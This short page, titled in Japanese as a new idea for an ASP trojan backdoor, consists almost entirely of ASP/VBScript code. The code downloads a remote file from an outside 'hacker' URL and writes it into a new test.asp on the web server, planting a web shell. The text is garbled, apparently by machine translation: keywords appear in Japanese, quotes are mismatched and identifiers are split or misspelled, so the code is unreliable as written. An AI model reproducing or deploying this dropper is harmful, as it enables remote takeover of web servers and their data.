ASP木馬の後門の新しい構想

<%  
Function GetPage(url)  
dim Retrieval  
セット Retrieval = createObject（「Microsoft.XMLHTTP」）  
With Retrieval  
.Open "Get" url False ', "", ""  
.Send  
GetPage = Bytes ToBstr(.ResonseBody)  
End With  
セット Retrieval = Nothing  
End Function  
Function Bytes ToBstr（body）  
dim objstream  
セット objstream = Server.create Object(「adodb.stream」)  
objstream.Type = 1  
objstream.Mode =3  
Objstream.Open  
objstream.Write body  
objstream.Position = 0  
objstream.Type = 2  
objstream.Chiset = "GB 2312"  
Bytes ToBstr = objstream.ReadText  
objstream.C lose  
セット objstream = nothing  
End Function  
オン error レム next  
Url="http://www.heibai.org/hacker/daemon.txt「  
レスポンス.write "リモートコードの取得を開始します。  
wstr. = GetPage（Url）  
セット fs=Server.creat Object（「Script.FileSystemObject」）  
セット CrFi=fs.reate TextFile(server.MapPath(./)&「\test.asp」)  
Crfi.Writeline（wstr）  
セット CrFi=nothing  
セット fs=nothing  
レスポンス.write "...test.aspファイルの生成に成功しました。  
%